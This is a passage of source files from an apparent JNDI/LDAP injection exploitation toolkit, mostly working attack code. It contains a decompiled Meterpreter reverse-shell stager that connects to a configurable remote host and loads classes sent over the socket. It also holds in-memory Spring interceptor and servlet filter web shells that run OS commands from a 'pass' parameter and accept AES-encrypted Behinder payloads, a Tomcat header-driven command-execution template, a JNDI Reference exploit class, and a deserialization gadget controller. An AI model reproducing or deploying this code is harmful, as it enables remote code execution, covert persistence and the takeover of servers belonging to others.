ObjectOutputStream oos = new ObjectOutputStream(baous); 88 | oos.writeObject(b); 89 | byte[] bytes = baous.toByteArray(); 90 | oos.close(); 91 | 92 | return bytes; 93 | } 94 | 95 | 96 | private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { 97 | 98 | private String className; 99 | private String url; 100 | 101 | public PoolSource ( String className, String url ) { 102 | this.className = className; 103 | this.url = url; 104 | } 105 | 106 | public Reference getReference () throws NamingException { 107 | return new Reference("exploit", this.className, this.url); 108 | } 109 | 110 | public PrintWriter getLogWriter () throws SQLException {return null;} 111 | public void setLogWriter ( PrintWriter out ) throws SQLException {} 112 | public void setLoginTimeout ( int seconds ) throws SQLException {} 113 | public int getLoginTimeout () throws SQLException {return 0;} 114 | public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;} 115 | public PooledConnection getPooledConnection () throws SQLException {return null;} 116 | public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;} 117 | } 118 | } 119 | -------------------------------------------------------------------------------- /src/main/java/Meterpreter.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Decompiled with CFR 0.152. 3 | */ 4 | 5 | import java.io.DataInputStream; 6 | import java.io.InputStream; 7 | import java.io.OutputStream; 8 | import java.net.Socket; 9 | import java.util.HashMap; 10 | 11 | public class Meterpreter 12 | extends ClassLoader 13 | implements Runnable { 14 | private HashMap parameterMap; 15 | 16 | public String host; 17 | public String port; 18 | static /* synthetic */ Class class$0; 19 | static /* synthetic */ Class class$1; 20 | static /* synthetic */ Class class$2; 21 | 22 | public void initLhost() { 23 | this.host = ""; 24 | this.port = ""; 25 | } 26 | 27 | 28 | 29 | 30 | public String toString() { 31 | if (this.host != null && this.port != null) { 32 | Thread thread = new Thread(this); 33 | thread.start(); 34 | this.parameterMap.put("result", "ok".getBytes()); 35 | } else { 36 | this.parameterMap.put("result", "host or port is null".getBytes()); 37 | } 38 | this.parameterMap = null; 39 | return ""; 40 | } 41 | 42 | public boolean equals(Object paramObject) { 43 | try { 44 | this.parameterMap = (HashMap)paramObject; 45 | this.host = this.get("host"); 46 | this.port = this.get("port"); 47 | } 48 | catch (Exception e) { 49 | return false; 50 | } 51 | return true; 52 | } 53 | 54 | public void getShell() throws Exception { 55 | InputStream inputStream1 = null; 56 | OutputStream outputStream = null; 57 | int j = new Integer(this.port); 58 | String str4 = this.host; 59 | Socket socket = null; 60 | if (str4 != null) { 61 | socket = new Socket(str4, j); 62 | } 63 | inputStream1 = socket.getInputStream(); 64 | outputStream = socket.getOutputStream(); 65 | new Meterpreter().bootstrap(inputStream1, outputStream); 66 | } 67 | 68 | private final void bootstrap(InputStream paramInputStream, OutputStream paramOutputStream) throws Exception { 69 | try { 70 | Class clazz; 71 | DataInputStream dataInputStream = new DataInputStream(paramInputStream); 72 | int i = dataInputStream.readInt(); 73 | do { 74 | byte[] arrayOfByte = new byte[i]; 75 | dataInputStream.readFully(arrayOfByte); 76 | clazz = this.defineClass(null, arrayOfByte, 0, i); 77 | this.resolveClass(clazz); 78 | } while ((i = dataInputStream.readInt()) > 0); 79 | Object object = clazz.newInstance(); 80 | Class[] classArray = new Class[3]; 81 | Class clazz2 = class$0; 82 | if (clazz2 == null) { 83 | try { 84 | clazz2 = class$0 = Class.forName("java.io.DataInputStream"); 85 | } 86 | catch (ClassNotFoundException classNotFoundException) { 87 | throw new NoClassDefFoundError(classNotFoundException.getMessage()); 88 | } 89 | } 90 | classArray[0] = clazz2; 91 | Class clazz3 = class$1; 92 | if (clazz3 == null) { 93 | try { 94 | clazz3 = class$1 = Class.forName("java.io.OutputStream"); 95 | } 96 | catch (ClassNotFoundException classNotFoundException) { 97 | throw new NoClassDefFoundError(classNotFoundException.getMessage()); 98 | } 99 | } 100 | classArray[1] = clazz3; 101 | Class clazz4 = class$2; 102 | if (clazz4 == null) { 103 | try { 104 | clazz4 = class$2 = Class.forName("[Ljava.lang.String;"); 105 | } 106 | catch (ClassNotFoundException classNotFoundException) { 107 | throw new NoClassDefFoundError(classNotFoundException.getMessage()); 108 | } 109 | } 110 | classArray[2] = clazz4; 111 | clazz.getMethod("start", classArray).invoke(object, dataInputStream, paramOutputStream, new String[]{"", ""}); 112 | } 113 | catch (Throwable throwable) { 114 | // empty catch block 115 | } 116 | } 117 | 118 | public static void main(String[] args) { 119 | Meterpreter meterpreter =new Meterpreter(); 120 | meterpreter.run(); 121 | } 122 | 123 | static { 124 | 125 | Meterpreter meterpreter =new Meterpreter(); 126 | meterpreter.initLhost(); 127 | meterpreter.run(); 128 | } 129 | 130 | public void run() { 131 | try { 132 | this.getShell(); 133 | } 134 | catch (Exception exception) { 135 | System.out.println(exception); 136 | // empty catch block 137 | } 138 | } 139 | 140 | public String get(String key) { 141 | try { 142 | return new String((byte[])this.parameterMap.get(key)); 143 | } 144 | catch (Exception e) { 145 | return null; 146 | } 147 | } 148 | } 149 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/template/Meterpreter.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Decompiled with CFR 0.152. 3 | */ 4 | package com.feihong.ldap.template; 5 | 6 | import java.io.DataInputStream; 7 | import java.io.InputStream; 8 | import java.io.OutputStream; 9 | import java.net.Socket; 10 | import java.util.HashMap; 11 | 12 | public class Meterpreter 13 | extends ClassLoader 14 | implements Runnable { 15 | private HashMap parameterMap; 16 | public String host; 17 | public String port; 18 | static /* synthetic */ Class class$0; 19 | static /* synthetic */ Class class$1; 20 | static /* synthetic */ Class class$2; 21 | 22 | public void initLhost() { 23 | this.host = ""; 24 | this.port = ""; 25 | } 26 | 27 | 28 | 29 | 30 | public String toString() { 31 | if (this.host != null && this.port != null) { 32 | Thread thread = new Thread(this); 33 | thread.start(); 34 | this.parameterMap.put("result", "ok".getBytes()); 35 | } else { 36 | this.parameterMap.put("result", "host or port is null".getBytes()); 37 | } 38 | this.parameterMap = null; 39 | return ""; 40 | } 41 | 42 | public boolean equals(Object paramObject) { 43 | try { 44 | this.parameterMap = (HashMap)paramObject; 45 | this.host = this.get("host"); 46 | this.port = this.get("port"); 47 | } 48 | catch (Exception e) { 49 | return false; 50 | } 51 | return true; 52 | } 53 | 54 | public void getShell() throws Exception { 55 | InputStream inputStream1 = null; 56 | OutputStream outputStream = null; 57 | int j = new Integer(this.port); 58 | String str4 = this.host; 59 | Socket socket = null; 60 | if (str4 != null) { 61 | socket = new Socket(str4, j); 62 | } 63 | inputStream1 = socket.getInputStream(); 64 | outputStream = socket.getOutputStream(); 65 | new Meterpreter().bootstrap(inputStream1, outputStream); 66 | } 67 | 68 | private final void bootstrap(InputStream paramInputStream, OutputStream paramOutputStream) throws Exception { 69 | try { 70 | Class clazz; 71 | DataInputStream dataInputStream = new DataInputStream(paramInputStream); 72 | int i = dataInputStream.readInt(); 73 | do { 74 | byte[] arrayOfByte = new byte[i]; 75 | dataInputStream.readFully(arrayOfByte); 76 | clazz = this.defineClass(null, arrayOfByte, 0, i); 77 | this.resolveClass(clazz); 78 | } while ((i = dataInputStream.readInt()) > 0); 79 | Object object = clazz.newInstance(); 80 | Class[] classArray = new Class[3]; 81 | Class clazz2 = class$0; 82 | if (clazz2 == null) { 83 | try { 84 | clazz2 = class$0 = Class.forName("java.io.DataInputStream"); 85 | } 86 | catch (ClassNotFoundException classNotFoundException) { 87 | throw new NoClassDefFoundError(classNotFoundException.getMessage()); 88 | } 89 | } 90 | classArray[0] = clazz2; 91 | Class clazz3 = class$1; 92 | if (clazz3 == null) { 93 | try { 94 | clazz3 = class$1 = Class.forName("java.io.OutputStream"); 95 | } 96 | catch (ClassNotFoundException classNotFoundException) { 97 | throw new NoClassDefFoundError(classNotFoundException.getMessage()); 98 | } 99 | } 100 | classArray[1] = clazz3; 101 | Class clazz4 = class$2; 102 | if (clazz4 == null) { 103 | try { 104 | clazz4 = class$2 = Class.forName("[Ljava.lang.String;"); 105 | } 106 | catch (ClassNotFoundException classNotFoundException) { 107 | throw new NoClassDefFoundError(classNotFoundException.getMessage()); 108 | } 109 | } 110 | classArray[2] = clazz4; 111 | clazz.getMethod("start", classArray).invoke(object, dataInputStream, paramOutputStream, new String[]{"", ""}); 112 | } 113 | catch (Throwable throwable) { 114 | // empty catch block 115 | } 116 | } 117 | 118 | public static void main(String[] args) { 119 | Meterpreter meterpreter =new Meterpreter(); 120 | meterpreter.run(); 121 | } 122 | 123 | static { 124 | 125 | Meterpreter meterpreter =new Meterpreter(); 126 | meterpreter.initLhost(); 127 | meterpreter.run(); 128 | } 129 | 130 | public void run() { 131 | try { 132 | this.getShell(); 133 | } 134 | catch (Exception exception) { 135 | System.out.println(exception); 136 | // empty catch block 137 | } 138 | } 139 | 140 | public String get(String key) { 141 | try { 142 | return new String((byte[])this.parameterMap.get(key)); 143 | } 144 | catch (Exception e) { 145 | return null; 146 | } 147 | } 148 | } 149 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/template/DynamicInterceptorTemplate.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.template; 2 | 3 | import org.springframework.stereotype.Controller; 4 | import org.springframework.web.servlet.handler.HandlerInterceptorAdapter; 5 | import sun.misc.BASE64Decoder; 6 | import javax.crypto.Cipher; 7 | import javax.crypto.spec.SecretKeySpec; 8 | import javax.servlet.ServletRequest; 9 | import javax.servlet.ServletResponse; 10 | import javax.servlet.http.HttpServletRequest; 11 | import javax.servlet.http.HttpServletResponse; 12 | import java.io.File; 13 | import java.io.IOException; 14 | import java.lang.reflect.InvocationTargetException; 15 | import java.lang.reflect.Method; 16 | import java.util.Scanner; 17 | 18 | @Controller 19 | public class DynamicInterceptorTemplate extends HandlerInterceptorAdapter { 20 | 21 | private Class myClassLoaderClazz; 22 | private String basicCmdShellPwd = "pass"; 23 | private String behinderShellHeader = "X-Options-Ai"; 24 | private String behinderShellPwd = "e45e329feb5d925b"; // rebeyond 25 | 26 | public DynamicInterceptorTemplate() { 27 | initialize(); 28 | } 29 | 30 | @Override 31 | public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { 32 | System.out.println("[+] Dynamic Interceptor says hello"); 33 | 34 | if(request.getParameter("type") != null && request.getParameter("type").equals("basic")){ 35 | //basic cmd shell 36 | String cmd = request.getParameter(basicCmdShellPwd); 37 | if(cmd != null && !cmd.isEmpty()){ 38 | String[] cmds = null; 39 | if(File.separator.equals("/")){ 40 | cmds = new String[]{"/bin/sh", "-c", cmd}; 41 | }else{ 42 | cmds = new String[]{"cmd", "/C", cmd}; 43 | } 44 | String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next(); 45 | response.getWriter().println(result); 46 | 47 | return false; 48 | } 49 | }else if(request.getHeader(behinderShellHeader) != null){ 50 | //behind3 shell 51 | try{ 52 | if (request.getMethod().equals("POST")){ 53 | String k = behinderShellPwd; 54 | request.getSession().setAttribute("u",k); 55 | Cipher cipher = Cipher.getInstance("AES"); 56 | cipher.init(2, new SecretKeySpec((request.getSession().getAttribute("u") + "").getBytes(), "AES")); 57 | byte[] evilClassBytes = cipher.doFinal(new BASE64Decoder().decodeBuffer(request.getReader().readLine())); 58 | Class evilClass = (Class) myClassLoaderClazz.getDeclaredMethod("defineClass", byte[].class, ClassLoader.class).invoke(null, evilClassBytes, Thread.currentThread().getContextClassLoader()); 59 | Object evilObject = evilClass.newInstance(); 60 | Method targetMethod = evilClass.getDeclaredMethod("equals", new Class[]{ServletRequest.class, ServletResponse.class}); 61 | targetMethod.invoke(evilObject, new Object[]{request, response}); 62 | } 63 | }catch(Exception e){ 64 | e.printStackTrace(); 65 | } 66 | 67 | return false; 68 | } 69 | 70 | return true; 71 | } 72 | 73 | private void initialize(){ 74 | try{ 75 | ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); 76 | try{ 77 | this.myClassLoaderClazz = classLoader.loadClass("com.feihong.ldap.template.MyClassLoader"); 78 | } catch (ClassNotFoundException e) { 79 | String code = "yv66vgAAADIAGwoABQAWBwAXCgACABYKAAIAGAcAGQEABjxpbml0PgEAGihMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAClMY29tL2ZlaWhvbmcvbGRhcC90ZW1wbGF0ZS9NeUNsYXNzTG9hZGVyOwEAAWMBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAC2RlZmluZUNsYXNzAQAsKFtCTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspTGphdmEvbGFuZy9DbGFzczsBAAVieXRlcwEAAltCAQALY2xhc3NMb2FkZXIBAApTb3VyY2VGaWxlAQASTXlDbGFzc0xvYWRlci5qYXZhDAAGAAcBACdjb20vZmVpaG9uZy9sZGFwL3RlbXBsYXRlL015Q2xhc3NMb2FkZXIMAA8AGgEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAFyhbQklJKUxqYXZhL2xhbmcvQ2xhc3M7ACEAAgAFAAAAAAACAAAABgAHAAEACAAAADoAAgACAAAABiortwABsQAAAAIACQAAAAYAAQAAAAQACgAAABYAAgAAAAYACwAMAAAAAAAGAA0ADgABAAkADwAQAAEACAAAAEQABAACAAAAELsAAlkrtwADKgMqvrYABLAAAAACAAkAAAAGAAEAAAAIAAoAAAAWAAIAAAAQABEAEgAAAAAAEAATAA4AAQABABQAAAACABU="; 80 | byte[] bytes = new BASE64Decoder().decodeBuffer(code); 81 | 82 | Method method = null; 83 | try { 84 | method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 85 | method.setAccessible(true); 86 | this.myClassLoaderClazz = (Class) method.invoke(classLoader, bytes, 0, bytes.length); 87 | } catch (NoSuchMethodException ex) { 88 | ex.printStackTrace(); 89 | } 90 | } 91 | } catch (IllegalAccessException e) { 92 | e.printStackTrace(); 93 | } catch (IOException e) { 94 | e.printStackTrace(); 95 | } catch (InvocationTargetException e) { 96 | e.printStackTrace(); 97 | } 98 | } 99 | } 100 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/template/DynamicFilterTemplate.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.template; 2 | 3 | import sun.misc.BASE64Decoder; 4 | import javax.crypto.Cipher; 5 | import javax.crypto.spec.SecretKeySpec; 6 | import javax.servlet.*; 7 | import javax.servlet.http.HttpServletRequest; 8 | import java.io.File; 9 | import java.io.IOException; 10 | import java.lang.reflect.InvocationTargetException; 11 | import java.lang.reflect.Method; 12 | import java.util.Scanner; 13 | 14 | public class DynamicFilterTemplate implements Filter { 15 | 16 | private Class myClassLoaderClazz; 17 | private String basicCmdShellPwd = "pass"; 18 | private String behinderShellHeader = "X-Options-Ai"; 19 | private String behinderShellPwd = "e45e329feb5d925b"; // rebeyond 20 | 21 | public DynamicFilterTemplate() { 22 | super(); 23 | initialize(); 24 | } 25 | 26 | @Override 27 | public void init(FilterConfig filterConfig) throws ServletException { 28 | 29 | } 30 | 31 | @Override 32 | public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { 33 | System.out.println("[+] Dynamic Filter says hello"); 34 | 35 | if(servletRequest.getParameter("type") != null && servletRequest.getParameter("type").equals("basic")){ 36 | //basic cmd shell 37 | String cmd = servletRequest.getParameter(basicCmdShellPwd); 38 | if(cmd != null && !cmd.isEmpty()){ 39 | String[] cmds = null; 40 | if(File.separator.equals("/")){ 41 | cmds = new String[]{"/bin/sh", "-c", cmd}; 42 | }else{ 43 | cmds = new String[]{"cmd", "/C", cmd}; 44 | } 45 | String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next(); 46 | servletResponse.getWriter().println(result); 47 | } 48 | }else if(((HttpServletRequest)servletRequest).getHeader(behinderShellHeader) != null){ 49 | //behind3 shell 50 | try{ 51 | if (((HttpServletRequest)servletRequest).getMethod().equals("POST")){ 52 | String k = behinderShellPwd; 53 | ((HttpServletRequest)servletRequest).getSession().setAttribute("u",k); 54 | Cipher cipher = Cipher.getInstance("AES"); 55 | cipher.init(2, new SecretKeySpec((((HttpServletRequest)servletRequest).getSession().getAttribute("u") + "").getBytes(), "AES")); 56 | byte[] evilClassBytes = cipher.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(servletRequest.getReader().readLine())); 57 | Class evilClass = (Class) myClassLoaderClazz.getDeclaredMethod("defineClass", byte[].class, ClassLoader.class).invoke(null, evilClassBytes, Thread.currentThread().getContextClassLoader()); 58 | Object evilObject = evilClass.newInstance(); 59 | Method targetMethod = evilClass.getDeclaredMethod("equals", new Class[]{ServletRequest.class, ServletResponse.class}); 60 | targetMethod.invoke(evilObject, new Object[]{servletRequest, servletResponse}); 61 | } 62 | }catch(Exception e){ 63 | e.printStackTrace(); 64 | } 65 | }else{ 66 | filterChain.doFilter(servletRequest, servletResponse); 67 | } 68 | } 69 | 70 | @Override 71 | public void destroy() { 72 | 73 | } 74 | 75 | private void initialize() { 76 | try{ 77 | ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); 78 | try{ 79 | this.myClassLoaderClazz = classLoader.loadClass("com.feihong.ldap.template.MyClassLoader"); 80 | } catch (ClassNotFoundException e) { 81 | String code = "yv66vgAAADIAGwoABQAWBwAXCgACABYKAAIAGAcAGQEABjxpbml0PgEAGihMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAClMY29tL2ZlaWhvbmcvbGRhcC90ZW1wbGF0ZS9NeUNsYXNzTG9hZGVyOwEAAWMBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAC2RlZmluZUNsYXNzAQAsKFtCTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspTGphdmEvbGFuZy9DbGFzczsBAAVieXRlcwEAAltCAQALY2xhc3NMb2FkZXIBAApTb3VyY2VGaWxlAQASTXlDbGFzc0xvYWRlci5qYXZhDAAGAAcBACdjb20vZmVpaG9uZy9sZGFwL3RlbXBsYXRlL015Q2xhc3NMb2FkZXIMAA8AGgEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAFyhbQklJKUxqYXZhL2xhbmcvQ2xhc3M7ACEAAgAFAAAAAAACAAAABgAHAAEACAAAADoAAgACAAAABiortwABsQAAAAIACQAAAAYAAQAAAAQACgAAABYAAgAAAAYACwAMAAAAAAAGAA0ADgABAAkADwAQAAEACAAAAEQABAACAAAAELsAAlkrtwADKgMqvrYABLAAAAACAAkAAAAGAAEAAAAIAAoAAAAWAAIAAAAQABEAEgAAAAAAEAATAA4AAQABABQAAAACABU="; 82 | byte[] bytes = new BASE64Decoder().decodeBuffer(code); 83 | Method method = null; 84 | try { 85 | method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 86 | method.setAccessible(true); 87 | this.myClassLoaderClazz = (Class) method.invoke(classLoader, bytes, 0, bytes.length); 88 | } catch (NoSuchMethodException ex) { 89 | ex.printStackTrace(); 90 | } 91 | } 92 | } catch (IllegalAccessException e) { 93 | e.printStackTrace(); 94 | } catch (IOException e) { 95 | e.printStackTrace(); 96 | } catch (InvocationTargetException e) { 97 | e.printStackTrace(); 98 | } 99 | } 100 | } 101 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/utils/Util.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.utils; 2 | 3 | import com.feihong.ldap.template.Meterpreter; 4 | 5 | import java.io.ByteArrayOutputStream; 6 | import java.io.IOException; 7 | import java.io.InputStream; 8 | import java.io.ObjectOutputStream; 9 | import java.lang.reflect.Field; 10 | import java.lang.reflect.Method; 11 | import java.util.Random; 12 | 13 | public class Util { 14 | public static String getRandomString() { 15 | String str = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; 16 | StringBuilder sb = new StringBuilder(); 17 | for (int i = 0; i < 10; i++) { 18 | char ch = str.charAt(new Random().nextInt(str.length())); 19 | sb.append(ch); 20 | } 21 | return sb.toString(); 22 | } 23 | 24 | public static String getClassCode(Class clazz) throws Exception { 25 | byte[] bytes=null; 26 | if (clazz.getName().equals("com.feihong.ldap.template.Meterpreter")){ 27 | bytes=ClassByteChange.update(Meterpreter.class); 28 | 29 | }else { 30 | bytes=getClassBytes(clazz); 31 | } 32 | 33 | 34 | String result = Util.base64Encode(bytes); 35 | 36 | return result; 37 | } 38 | 39 | public static byte[] getClassBytes(Class clazz) throws Exception { 40 | String className = clazz.getName(); 41 | String resoucePath = className.replaceAll("\\.", "/") + ".class"; 42 | InputStream in = Util.class.getProtectionDomain().getClassLoader().getResourceAsStream(resoucePath); 43 | byte[] bytes = new byte[1024]; 44 | ByteArrayOutputStream baous = new ByteArrayOutputStream(); 45 | int len = 0; 46 | while((len = in.read(bytes)) != -1){ 47 | baous.write(bytes, 0 , len); 48 | } 49 | 50 | in.close(); 51 | baous.close(); 52 | 53 | return baous.toByteArray(); 54 | } 55 | 56 | public static String base64Encode(byte[] bytes) throws Exception{ 57 | String result; 58 | 59 | try{ 60 | Class clazz = Class.forName("java.util.Base64"); 61 | Method method = clazz.getDeclaredMethod("getEncoder"); 62 | Object obj = method.invoke(null); 63 | method = obj.getClass().getDeclaredMethod("encodeToString", byte[].class); 64 | obj = method.invoke(obj, bytes); 65 | result = (String)obj; 66 | }catch(ClassNotFoundException e){ 67 | Class clazz = Class.forName("sun.misc.BASE64Encoder"); 68 | Method method = clazz.getMethod("encodeBuffer", byte[].class); 69 | Object obj = method.invoke(clazz.newInstance(), bytes); 70 | result = (String)obj; 71 | result = result.replaceAll("\r|\n|\r\n", ""); 72 | } 73 | 74 | return result; 75 | } 76 | 77 | public static byte[] base64Decode(String str) throws Exception{ 78 | byte[] bytes; 79 | 80 | try{ 81 | Class clazz = Class.forName("java.util.Base64"); 82 | Method method = clazz.getDeclaredMethod("getDecoder"); 83 | Object obj = method.invoke(null); 84 | method = obj.getClass().getDeclaredMethod("decode", String.class); 85 | obj = method.invoke(obj, str); 86 | bytes = (byte[]) obj; 87 | }catch(ClassNotFoundException e){ 88 | Class clazz = Class.forName("sun.misc.BASE64Decoder"); 89 | Method method = clazz.getMethod("decodeBuffer", String.class); 90 | Object obj = method.invoke(clazz.newInstance(), str); 91 | bytes = (byte[]) obj; 92 | } 93 | 94 | return bytes; 95 | } 96 | 97 | public static byte[] serialize(Object ref) throws IOException { 98 | ByteArrayOutputStream out = new ByteArrayOutputStream(); 99 | ObjectOutputStream objOut = new ObjectOutputStream(out); 100 | objOut.writeObject(ref); 101 | return out.toByteArray(); 102 | } 103 | 104 | public static String getCmdFromBase(String base) throws Exception { 105 | int firstIndex = base.lastIndexOf("/"); 106 | String cmd = base.substring(firstIndex + 1); 107 | 108 | int secondIndex = base.lastIndexOf("/", firstIndex - 1); 109 | if(secondIndex < 0){ 110 | secondIndex = 0; 111 | } 112 | 113 | if(base.substring(secondIndex + 1, firstIndex).equalsIgnoreCase("base64")){ 114 | byte[] bytes = Util.base64Decode(cmd); 115 | cmd = new String(bytes); 116 | } 117 | 118 | return cmd; 119 | } 120 | 121 | public static String[] getIPAndPortFromBase(String base) throws NumberFormatException{ 122 | int firstIndex = base.lastIndexOf("/"); 123 | String port = base.substring(firstIndex + 1); 124 | 125 | int secondIndex = base.lastIndexOf("/", firstIndex - 1); 126 | if(secondIndex < 0){ 127 | secondIndex = 0; 128 | } 129 | 130 | String ip = base.substring(secondIndex + 1, firstIndex); 131 | return new String[]{ip, Integer.parseInt(port) + ""}; 132 | } 133 | 134 | public static Class getMeterpreter(Class clazz,String host,String port) throws NoSuchFieldException, IllegalAccessException { 135 | Field hostField=clazz.getField("host"); 136 | // hostField.setAccessible(true); 137 | Field portField=clazz.getField("port"); 138 | // portField.setAccessible(true); 139 | hostField.set(null,host); 140 | portField.set(null,port); 141 | return clazz; 142 | } 143 | } -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/template/TomcatEchoTemplate.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.template; 2 | 3 | import com.sun.org.apache.xalan.internal.xsltc.DOM; 4 | import com.sun.org.apache.xalan.internal.xsltc.TransletException; 5 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; 6 | import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; 7 | import com.sun.org.apache.xml.internal.serializer.SerializationHandler; 8 | import java.lang.reflect.Field; 9 | import java.util.List; 10 | import java.util.Scanner; 11 | 12 | public class TomcatEchoTemplate extends AbstractTranslet { 13 | 14 | public TomcatEchoTemplate(){ 15 | try{ 16 | boolean var4 = false; 17 | Thread[] var5 = (Thread[])getFV(Thread.currentThread().getThreadGroup(), "threads"); 18 | 19 | for(int var6 = 0; var6 < var5.length; ++var6) { 20 | Thread var7 = var5[var6]; 21 | if (var7 != null) { 22 | String var3 = var7.getName(); 23 | if (!var3.contains("exec") && var3.contains("http")) { 24 | Object var1 = getFV(var7, "target"); 25 | if (var1 instanceof Runnable) { 26 | try { 27 | var1 = getFV(getFV(getFV(var1, "this$0"), "handler"), "global"); 28 | } catch (Exception var13) { 29 | continue; 30 | } 31 | 32 | List var9 = (List)getFV(var1, "processors"); 33 | 34 | for(int var10 = 0; var10 < var9.size(); ++var10) { 35 | Object var11 = var9.get(var10); 36 | var1 = getFV(var11, "req"); 37 | Object var2 = var1.getClass().getMethod("getResponse").invoke(var1); 38 | var3 = (String)var1.getClass().getMethod("getHeader", String.class).invoke(var1, "Testecho"); 39 | if (var3 != null && !var3.isEmpty()) { 40 | var2.getClass().getMethod("setStatus", Integer.TYPE).invoke(var2, new Integer(200)); 41 | var2.getClass().getMethod("addHeader", String.class, String.class).invoke(var2, "Testecho", var3); 42 | var4 = true; 43 | } 44 | 45 | var3 = (String)var1.getClass().getMethod("getHeader", String.class).invoke(var1, "cmd"); 46 | if (var3 != null && !var3.isEmpty()) { 47 | var2.getClass().getMethod("setStatus", Integer.TYPE).invoke(var2, new Integer(200)); 48 | String[] var12 = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", var3} : new String[]{"/bin/sh", "-c", var3}; 49 | writeBody(var2, (new Scanner((new ProcessBuilder(var12)).start().getInputStream())).useDelimiter("\\A").next().getBytes()); 50 | var4 = true; 51 | } 52 | 53 | if ((var3 == null || var3.isEmpty()) && var4) { 54 | writeBody(var2, System.getProperties().toString().getBytes()); 55 | } 56 | 57 | if (var4) { 58 | break; 59 | } 60 | } 61 | 62 | if (var4) { 63 | break; 64 | } 65 | } 66 | } 67 | } 68 | } 69 | }catch (Exception e){ 70 | e.printStackTrace(); 71 | } 72 | } 73 | 74 | private static void writeBody(Object var0, byte[] var1) throws Exception { 75 | Object var2; 76 | Class var3; 77 | try { 78 | var3 = Class.forName("org.apache.tomcat.util.buf.ByteChunk"); 79 | var2 = var3.newInstance(); 80 | var3.getDeclaredMethod("setBytes", byte[].class, Integer.TYPE, Integer.TYPE).invoke(var2, var1, new Integer(0), new Integer(var1.length)); 81 | var0.getClass().getMethod("doWrite", var3).invoke(var0, var2); 82 | } catch (NoSuchMethodException var5) { 83 | var3 = Class.forName("java.nio.ByteBuffer"); 84 | var2 = var3.getDeclaredMethod("wrap", byte[].class).invoke(var3, var1); 85 | var0.getClass().getMethod("doWrite", var3).invoke(var0, var2); 86 | } 87 | 88 | } 89 | 90 | private static Object getFV(Object var0, String var1) throws Exception { 91 | Field var2 = null; 92 | Class var3 = var0.getClass(); 93 | 94 | while(var3 != Object.class) { 95 | try { 96 | var2 = var3.getDeclaredField(var1); 97 | break; 98 | } catch (NoSuchFieldException var5) { 99 | var3 = var3.getSuperclass(); 100 | } 101 | } 102 | 103 | if (var2 == null) { 104 | throw new NoSuchFieldException(var1); 105 | } else { 106 | var2.setAccessible(true); 107 | return var2.get(var0); 108 | } 109 | } 110 | 111 | @Override 112 | public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { 113 | 114 | } 115 | 116 | @Override 117 | public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { 118 | 119 | } 120 | } 121 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/controllers/SerializedDataController.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.controllers; 2 | 3 | import com.feihong.ldap.enumtypes.GadgetType; 4 | import com.feihong.ldap.enumtypes.PayloadType; 5 | import com.feihong.ldap.exceptions.IncorrectParamsException; 6 | import com.feihong.ldap.exceptions.UnSupportedGadgetTypeException; 7 | import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException; 8 | import com.feihong.ldap.utils.*; 9 | import com.feihong.ldap.gadgets.*; 10 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 11 | import com.unboundid.ldap.sdk.Entry; 12 | import com.unboundid.ldap.sdk.LDAPResult; 13 | import com.unboundid.ldap.sdk.ResultCode; 14 | 15 | @LdapMapping(uri = { "/deserialization" }) 16 | public class SerializedDataController implements LdapController { 17 | private GadgetType gadgetType; 18 | private PayloadType payloadType; 19 | private String[] params; 20 | 21 | @Override 22 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { 23 | System.out.println("[+] Send LDAP result for " + base + " with javaSerializedData attribute"); 24 | 25 | //这个方法里面有改动,其他基本无改动 26 | Entry e = new Entry(base); 27 | byte[] bytes = null; 28 | switch (gadgetType){ 29 | case urldns: 30 | bytes = URLDNS.getBytes(params[0]); 31 | break; 32 | case commonsbeanutils1: 33 | bytes = CommonsBeanutils1.getBytes(payloadType, params); 34 | break; 35 | case commonsbeanutils2: 36 | bytes = CommonsBeanutils2.getBytes(payloadType, params); 37 | 